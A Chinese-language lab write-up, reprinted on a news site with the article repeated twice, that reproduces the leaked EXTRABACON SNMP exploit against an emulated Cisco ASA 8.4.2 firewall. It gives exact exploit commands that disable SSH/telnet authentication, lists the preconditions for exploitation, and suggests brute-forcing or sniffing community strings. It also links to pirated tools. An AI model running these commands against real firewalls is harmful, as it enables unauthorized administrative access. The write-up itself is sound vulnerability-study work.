当前位置:安全行业动态 → 正文

Cisco SNMP RCE漏洞复现过程

责任编辑:editor005 作者:tahf |来源:企业网D1Net  2016-08-29 15:25:15 本文摘自:黑客与极客

NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析eqgrp-free-fileFirewallEXPLOITSEXBA的思路、搭建漏洞环境的过程和利用条件测试。本文具有极强的可操作性,请勿用于非法途径。由于个人技术水平有限,文中可能还有部分问题和错误,还请各位大牛批评指正,欢迎交流!

000 最初的线索和资源分享

获得泄露文件epgrp-free-file后,对FirewallEXPLOITS文件夹下的内容很感兴趣,但子文件夹名称对应的漏洞信息并不清楚。我们最关注的问题是这些漏洞利用工具的目标设备是什么,哪些版本受到漏洞影响,并且能否还原漏洞利用过程。对漏洞的成功复现是漏洞分析过程中非常重要的一步。

在分析过程中,注意到FirewallSCRIPTS目录下存有部分关于漏洞利用工具的相关说明。比如EXTRABACON.txt,含有对EXBA下extrabacon_1.1.0.1.py漏洞利用脚本的相关说明。

明确目标是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墙开启SNMP服务。下一步我们需要搭建目标设备环境。由于手头上没有实物的ASA防火墙,所以我使用了基于VMware的ASA 8.42防火墙模拟器。为方便搭建环境,一并将资源和相关工具分享给大家。

ASA-8.42.rar(模拟ASA 5520,内含ASDM)

链接: https://pan.baidu.com/s/1dFzBqfv密码: si9c

SecureCRT_win7.3.rar(C_R_T_7.3.rar)解压密码:CRT7.3

链接: https://pan.baidu.com/s/1bp3Jfvp密码: yaq2

named pipe tcp proxy.zip

链接: https://pan.baidu.com/s/1jIdMvpO密码: riw6

001 搭建ASA环境

使用VMware Workstation加载ASA-8.4.2虚拟机。建议首先修改虚拟机的配置,将桥接模式的网卡改成NAT模式,方便与其它虚拟机组网。同时,请查看下串行端口是否配置,默认配置为.pipe842。如果串口没有配置,可以点击添加串行端口,选择“输出到命名管道”。下一步按照下图配置即可。

安装named pipe tcp proxy软件,并按照下图配置,功能是将串行端口命名管道数据转发到TCP端口上。

填入在ASA虚拟机配置的串行端口命名管道,Port选择一个本机没被占用的TCP端口。

安装SecureCRT软件并打开,新建一个Session,在协议中选择Telnet,点击下一步。

Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,点击下一步。

Session Name任意填写,将作为一个标识,点击完成。

打开ASA-842虚拟机电源,稍等片刻后,双击刚配置好的Session Name,如果右侧终端显示ciscoasa>就说明前面的配置没有问题,现在相当是使用串口线连接ASA防火墙,下面开始配置ASA防火墙。该ASA镜像默认用户是netemu,密码和enable密码也是netemu。

ciscoasa>en

Password:****** (密码是netemu)

ciscoasa#show run 查看下现在的配置

……

interface GigabitEthernet0

nameif inside

security-level 100

ip address 192.168.1.4 255.255.255.0

……

http server enable

http 192.168.1.0 255.255.255.0 inside

no snmp-server location

no snmp-server contact

snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart

……

主要目的是复现漏洞,因此只需要根据自己的网络环境做相应配置即可。如果对防火墙配置不熟悉,可以参考下面的配置命令。

配置IP地址,为inside区域:

ciscoasa# configure terminal

ciscoasa(config)# interface GigabitEthernet0

ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0 (配置该网卡IP为10.0.27.250)

ciscoasa(config-if)# no shut

ciscoasa(config-if)# nameif inside

配置完成后,使用宿主机应该可以ping通10.0.27.250。

为方便大家配置ASA防火墙,该镜像中装载有ASDM 6.4.9,只需要把Web管理方式打开,就可以使用ASDM管理和配置ASA了。

PS:有些镜像是不带ASDM的,需要自己使用tftp把ASDM的bin文件上传。

配置http/https管理方式:

ciscoasa# configure terminal

ciscoasa(config)# http server enable

ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside

然后使用浏览器访问https://10.0.27.250,界面如下:

点击Install ASDMlauncher,下载并安装msi文件,需要安装有JRE环境。安装完成后可以在C:ProgramFiles (x86)Cisco SystemsASDM下,双击asdm-launcher.jar启动ASDM客户端。输入IP、用户名和密码,即可登录防火墙管理界面。

ASA最最基本的配置已经完成,别忘了使用write memory命令来保存之前的配置,否则断电就白配置了。

002 漏洞复现

继续阅读EXTRABACON.txt文件。

根据该文件,目标防火墙需要开启22(ssh)或者23(telnet)管理端口,并且需要开启snmp-server。在确认目标防火墙22或者23端口开放后(通过端口扫描),我们可以使用extrabacon_1.1.0.1.py脚本的info参数对目标udp 161端口进行探测,并尝试获取需要的目标版本信息。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

我们先来配置ssh和telnet管理方式,使ASA防火墙的22和23端口开放。

ssh管理配置:

ciscoasa# configure terminal

ciscoasa(config)# crypto key generate rsa modulus 1024

INFO: The name for the keys will be:

Keypair generation process begin. Please wait...

ciscoasa(config)# write memory

ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside

ciscoasa(config)# aaa authentication ssh console LOCAL

telnet管理配置:

ciscoasa# configure terminal

ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside

配置完成后,可以使用putty以ssh或telnet的方式登陆防火墙,注意在未使用漏洞利用工具前登陆是需要输入用户名和密码的,输入enable后还需要输入enable密码。

也可以直接通过ASDM图形化界面完成上述配置,如上图。ssh和telnet配置完成后,我们先尝试使用extrabacon_1.1.0.1.py脚本探测下防火墙的udp 161端口。请直接把EXBA整个文件夹拷贝到Kali虚拟机中使用。

发送了一个snmp协议中get-request请求,version是v2c,但防火墙没有任何响应。

防火墙默认是没有开启snmp-server的,现在让我们配置下。

ciscoasa# configure terminal

ciscoasa(config)# snmp-server host inside 10.0.27.133 community public

简单网络管理协议SNMP,ASA 支持的版本v1 v2c v3,所有的访问都必须认证。

v1和v2 版本是基于IP 地址和Community进行认证,而v3版本使用用户名和密码进行认证。

如果有兴趣深入了解,可参考http://www.cnblogs.com/xdp-gacl/p/3978825.html

上面输入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM图形化管理界面上如上图所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py脚本中可以看到其支持的协议版本(only v2c),而v1和v2的认证是基于IP和Community,由于extrabacon_1.1.0.1.py脚本在Kali上运行,需要将host inside后面的IP设置为Kali虚拟机的IP地址,community相当于认证使用的密码,这里设置为public。snmp-server配置完成后,我们再使用脚本的info参数探测下ASA的udp 161端口。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

这次ASA给出了响应包,get-response数据包中包含了ASA的版本及hostname。同时漏洞利用脚本回显的最后几行给出了下一步需要执行的命令。—mode pass-disable的参数反映出该利用工具预期达到的效果,关闭防火墙对telnet或者ssh管理方式的认证,允许攻击者通过连接不需要验证的管理接口进行未授权操作。

新产生的/EXBA/keys/LZueXn.key文件,只是用来标识目标防火墙版本。

利用脚本会根据key文件中的版本在/EXBA/version/目录下选择对应的shellcode,来生成payload数据包。

复现漏洞的时刻到了!

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable

python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable

如果不加参数-k,脚本将首先自动进行info探测,获取目标版本信息后,再进行漏洞利用。

从key文件读取版本,选择对应版本shellcode,生成snmp协议的getBulkRequest请求数据包并发送。脚本执行成功后,使用putty以ssh或telnet的方式登陆下ASA防火墙,使用任意用户名和密码。并输入enable,密码任意,可以进行未授权操作,漏洞利用成功。

putty_01.png

  如果需要恢复认证,可以执行:

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable

003 利用条件测试

漏洞复现的环境搭建工作到此基本结束,但我继续做了下面的部分测试,来探讨该漏洞的利用条件。

因为在漏洞脚本利用前,我使用ASDM管理ASA,并且在漏洞利用全过程中没有断开ASDM的连接。在成功执行–mode pass-disable后,我在snmp配置界面做了一些更改,但点击Apply后发现报错,无法对snmp界面的Host Access List进行任何修改,见下图。同时尝试在其它配置面板对ASA更改其它配置,依然报错,已无法使用ASDM对ASA进行配置。

将ASDM退出后,再次连接ASA,登陆时再次报错,见下图,此时已无法使用ASDM连接ASA。

根据报错信息,怀疑漏洞利用的shellcode对privilege level进行了修改,还需要进一步验证。

只有再次利用脚本执行–mode pass-enable恢复认证后,才能使用ASDM管理ASA。可以预见的是,如果管理员正在使用ASDM配置管理ASA防火墙,利用该漏洞攻击是非常容易暴露的。

由于snmp v2版本是基于IP和Community字符串认证的,使该漏洞的利用条件变的比较苛刻。先来看基于IP的认证。

ciscoasa(config)#snmp-server host inside 10.0.27.133 community public

通过ASDM配置snmp服务时,Host Access Entry中的IP Address会进行合法性检查,只能填入单个IP。

如果该IP与发送snmp请求包的IP地址不符,snmp服务将不予响应。经过测试,IP不符的情况下,漏洞利用脚本无法获取目标版本信息,强行指定版本进行漏洞利用也无法成功。下图是发送的版本信息探测数据包和payload数据包,ASA snmp服务均没有任何响应。

wire_04.png

在理想条件下,假设执行漏洞利用脚本的主机恰好在snmp的Host Access Entry列表中,那么还将面临Community的认证。如果配置snmp-server的Community事先不知道,或者不是大家常用的public这种。漏洞利用脚本的-c参数将很难填写。经过测试,在-c参数后面的Community与ASA snmp-server配置的Community不符合的情况下,漏洞利用工具将无法获得目标版本信息,漏洞无法成功利用。当然,可以尝试爆破snmp的Community。也可以利用v1,v2协议数据没有经过加密处理而对网络进行嗅探。

综上所述,该漏洞成功利用的条件如下:

1、目标防火墙开启22(ssh)或23(telnet)管理方式

2、目标配置了snmp服务。并且snmp配置中的Host Access Entry IP地址和Community字符串能够获得或者已知。

3、目标版本在8.X-8.4.4之间。

请考虑管理员是否正在使用ASDM对防火墙进行管理和配置。

手里还有FGT-VM-4.00-FW-build521的环境,下一步想分析ExploitsEGBL目录。作为一名技术小白,编写本文的目的就是抛砖引玉,希望能交流更细节的东西,也想帮助大家尽快搭建起ASA的测试环境,便于进一步漏洞的分析。期待与大家一起交流学习,共同进步!

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

关键字:SNMPASAshellcode

本文摘自:黑客与极客

x Cisco SNMP RCE漏洞复现过程 扫一扫
分享本文到朋友圈
当前位置:安全行业动态 → 正文

Cisco SNMP RCE漏洞复现过程

责任编辑:editor005 作者:tahf |来源:企业网D1Net  2016-08-29 15:25:15 本文摘自:黑客与极客

NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析eqgrp-free-fileFirewallEXPLOITSEXBA的思路、搭建漏洞环境的过程和利用条件测试。本文具有极强的可操作性,请勿用于非法途径。由于个人技术水平有限,文中可能还有部分问题和错误,还请各位大牛批评指正,欢迎交流!

000 最初的线索和资源分享

获得泄露文件epgrp-free-file后,对FirewallEXPLOITS文件夹下的内容很感兴趣,但子文件夹名称对应的漏洞信息并不清楚。我们最关注的问题是这些漏洞利用工具的目标设备是什么,哪些版本受到漏洞影响,并且能否还原漏洞利用过程。对漏洞的成功复现是漏洞分析过程中非常重要的一步。

在分析过程中,注意到FirewallSCRIPTS目录下存有部分关于漏洞利用工具的相关说明。比如EXTRABACON.txt,含有对EXBA下extrabacon_1.1.0.1.py漏洞利用脚本的相关说明。

明确目标是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墙开启SNMP服务。下一步我们需要搭建目标设备环境。由于手头上没有实物的ASA防火墙,所以我使用了基于VMware的ASA 8.42防火墙模拟器。为方便搭建环境,一并将资源和相关工具分享给大家。

ASA-8.42.rar(模拟ASA 5520,内含ASDM)

链接: https://pan.baidu.com/s/1dFzBqfv密码: si9c

SecureCRT_win7.3.rar(C_R_T_7.3.rar)解压密码:CRT7.3

链接: https://pan.baidu.com/s/1bp3Jfvp密码: yaq2

named pipe tcp proxy.zip

链接: https://pan.baidu.com/s/1jIdMvpO密码: riw6

001 搭建ASA环境

使用VMware Workstation加载ASA-8.4.2虚拟机。建议首先修改虚拟机的配置,将桥接模式的网卡改成NAT模式,方便与其它虚拟机组网。同时,请查看下串行端口是否配置,默认配置为.pipe842。如果串口没有配置,可以点击添加串行端口,选择“输出到命名管道”。下一步按照下图配置即可。

安装named pipe tcp proxy软件,并按照下图配置,功能是将串行端口命名管道数据转发到TCP端口上。

填入在ASA虚拟机配置的串行端口命名管道,Port选择一个本机没被占用的TCP端口。

安装SecureCRT软件并打开,新建一个Session,在协议中选择Telnet,点击下一步。

Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,点击下一步。

Session Name任意填写,将作为一个标识,点击完成。

打开ASA-842虚拟机电源,稍等片刻后,双击刚配置好的Session Name,如果右侧终端显示ciscoasa>就说明前面的配置没有问题,现在相当是使用串口线连接ASA防火墙,下面开始配置ASA防火墙。该ASA镜像默认用户是netemu,密码和enable密码也是netemu。

ciscoasa>en

Password:****** (密码是netemu)

ciscoasa#show run 查看下现在的配置

……

interface GigabitEthernet0

nameif inside

security-level 100

ip address 192.168.1.4 255.255.255.0

……

http server enable

http 192.168.1.0 255.255.255.0 inside

no snmp-server location

no snmp-server contact

snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart

……

主要目的是复现漏洞,因此只需要根据自己的网络环境做相应配置即可。如果对防火墙配置不熟悉,可以参考下面的配置命令。

配置IP地址,为inside区域:

ciscoasa# configure terminal

ciscoasa(config)# interface GigabitEthernet0

ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0 (配置该网卡IP为10.0.27.250)

ciscoasa(config-if)# no shut

ciscoasa(config-if)# nameif inside

配置完成后,使用宿主机应该可以ping通10.0.27.250。

为方便大家配置ASA防火墙,该镜像中装载有ASDM 6.4.9,只需要把Web管理方式打开,就可以使用ASDM管理和配置ASA了。

PS:有些镜像是不带ASDM的,需要自己使用tftp把ASDM的bin文件上传。

配置http/https管理方式:

ciscoasa# configure terminal

ciscoasa(config)# http server enable

ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside

然后使用浏览器访问https://10.0.27.250,界面如下:

点击Install ASDMlauncher,下载并安装msi文件,需要安装有JRE环境。安装完成后可以在C:ProgramFiles (x86)Cisco SystemsASDM下,双击asdm-launcher.jar启动ASDM客户端。输入IP、用户名和密码,即可登录防火墙管理界面。

ASA最最基本的配置已经完成,别忘了使用write memory命令来保存之前的配置,否则断电就白配置了。

002 漏洞复现

继续阅读EXTRABACON.txt文件。

根据该文件,目标防火墙需要开启22(ssh)或者23(telnet)管理端口,并且需要开启snmp-server。在确认目标防火墙22或者23端口开放后(通过端口扫描),我们可以使用extrabacon_1.1.0.1.py脚本的info参数对目标udp 161端口进行探测,并尝试获取需要的目标版本信息。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

我们先来配置ssh和telnet管理方式,使ASA防火墙的22和23端口开放。

ssh管理配置:

ciscoasa# configure terminal

ciscoasa(config)# crypto key generate rsa modulus 1024

INFO: The name for the keys will be:

Keypair generation process begin. Please wait...

ciscoasa(config)# write memory

ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside

ciscoasa(config)# aaa authentication ssh console LOCAL

telnet管理配置:

ciscoasa# configure terminal

ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside

配置完成后,可以使用putty以ssh或telnet的方式登陆防火墙,注意在未使用漏洞利用工具前登陆是需要输入用户名和密码的,输入enable后还需要输入enable密码。

也可以直接通过ASDM图形化界面完成上述配置,如上图。ssh和telnet配置完成后,我们先尝试使用extrabacon_1.1.0.1.py脚本探测下防火墙的udp 161端口。请直接把EXBA整个文件夹拷贝到Kali虚拟机中使用。

发送了一个snmp协议中get-request请求,version是v2c,但防火墙没有任何响应。

防火墙默认是没有开启snmp-server的,现在让我们配置下。

ciscoasa# configure terminal

ciscoasa(config)# snmp-server host inside 10.0.27.133 community public

简单网络管理协议SNMP,ASA 支持的版本v1 v2c v3,所有的访问都必须认证。

v1和v2 版本是基于IP 地址和Community进行认证,而v3版本使用用户名和密码进行认证。

如果有兴趣深入了解,可参考http://www.cnblogs.com/xdp-gacl/p/3978825.html

上面输入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM图形化管理界面上如上图所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py脚本中可以看到其支持的协议版本(only v2c),而v1和v2的认证是基于IP和Community,由于extrabacon_1.1.0.1.py脚本在Kali上运行,需要将host inside后面的IP设置为Kali虚拟机的IP地址,community相当于认证使用的密码,这里设置为public。snmp-server配置完成后,我们再使用脚本的info参数探测下ASA的udp 161端口。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

这次ASA给出了响应包,get-response数据包中包含了ASA的版本及hostname。同时漏洞利用脚本回显的最后几行给出了下一步需要执行的命令。—mode pass-disable的参数反映出该利用工具预期达到的效果,关闭防火墙对telnet或者ssh管理方式的认证,允许攻击者通过连接不需要验证的管理接口进行未授权操作。

新产生的/EXBA/keys/LZueXn.key文件,只是用来标识目标防火墙版本。

利用脚本会根据key文件中的版本在/EXBA/version/目录下选择对应的shellcode,来生成payload数据包。

复现漏洞的时刻到了!

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable

python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable

如果不加参数-k,脚本将首先自动进行info探测,获取目标版本信息后,再进行漏洞利用。

从key文件读取版本,选择对应版本shellcode,生成snmp协议的getBulkRequest请求数据包并发送。脚本执行成功后,使用putty以ssh或telnet的方式登陆下ASA防火墙,使用任意用户名和密码。并输入enable,密码任意,可以进行未授权操作,漏洞利用成功。

putty_01.png

  如果需要恢复认证,可以执行:

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable

003 利用条件测试

漏洞复现的环境搭建工作到此基本结束,但我继续做了下面的部分测试,来探讨该漏洞的利用条件。

因为在漏洞脚本利用前,我使用ASDM管理ASA,并且在漏洞利用全过程中没有断开ASDM的连接。在成功执行–mode pass-disable后,我在snmp配置界面做了一些更改,但点击Apply后发现报错,无法对snmp界面的Host Access List进行任何修改,见下图。同时尝试在其它配置面板对ASA更改其它配置,依然报错,已无法使用ASDM对ASA进行配置。

将ASDM退出后,再次连接ASA,登陆时再次报错,见下图,此时已无法使用ASDM连接ASA。

根据报错信息,怀疑漏洞利用的shellcode对privilege level进行了修改,还需要进一步验证。

只有再次利用脚本执行–mode pass-enable恢复认证后,才能使用ASDM管理ASA。可以预见的是,如果管理员正在使用ASDM配置管理ASA防火墙,利用该漏洞攻击是非常容易暴露的。

由于snmp v2版本是基于IP和Community字符串认证的,使该漏洞的利用条件变的比较苛刻。先来看基于IP的认证。

ciscoasa(config)#snmp-server host inside 10.0.27.133 community public

通过ASDM配置snmp服务时,Host Access Entry中的IP Address会进行合法性检查,只能填入单个IP。

如果该IP与发送snmp请求包的IP地址不符,snmp服务将不予响应。经过测试,IP不符的情况下,漏洞利用脚本无法获取目标版本信息,强行指定版本进行漏洞利用也无法成功。下图是发送的版本信息探测数据包和payload数据包,ASA snmp服务均没有任何响应。

wire_04.png

在理想条件下,假设执行漏洞利用脚本的主机恰好在snmp的Host Access Entry列表中,那么还将面临Community的认证。如果配置snmp-server的Community事先不知道,或者不是大家常用的public这种。漏洞利用脚本的-c参数将很难填写。经过测试,在-c参数后面的Community与ASA snmp-server配置的Community不符合的情况下,漏洞利用工具将无法获得目标版本信息,漏洞无法成功利用。当然,可以尝试爆破snmp的Community。也可以利用v1,v2协议数据没有经过加密处理而对网络进行嗅探。

综上所述,该漏洞成功利用的条件如下:

1、目标防火墙开启22(ssh)或23(telnet)管理方式

2、目标配置了snmp服务。并且snmp配置中的Host Access Entry IP地址和Community字符串能够获得或者已知。

3、目标版本在8.X-8.4.4之间。

请考虑管理员是否正在使用ASDM对防火墙进行管理和配置。

手里还有FGT-VM-4.00-FW-build521的环境,下一步想分析ExploitsEGBL目录。作为一名技术小白,编写本文的目的就是抛砖引玉,希望能交流更细节的东西,也想帮助大家尽快搭建起ASA的测试环境,便于进一步漏洞的分析。期待与大家一起交流学习,共同进步!

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

关键字:SNMPASAshellcode

本文摘自:黑客与极客

电子周刊
回到顶部

关于我们联系我们版权声明隐私条款广告服务友情链接投稿中心招贤纳士

企业网版权所有 ©2010-2024 京ICP备09108050号-6 京公网安备 11010502049343号

^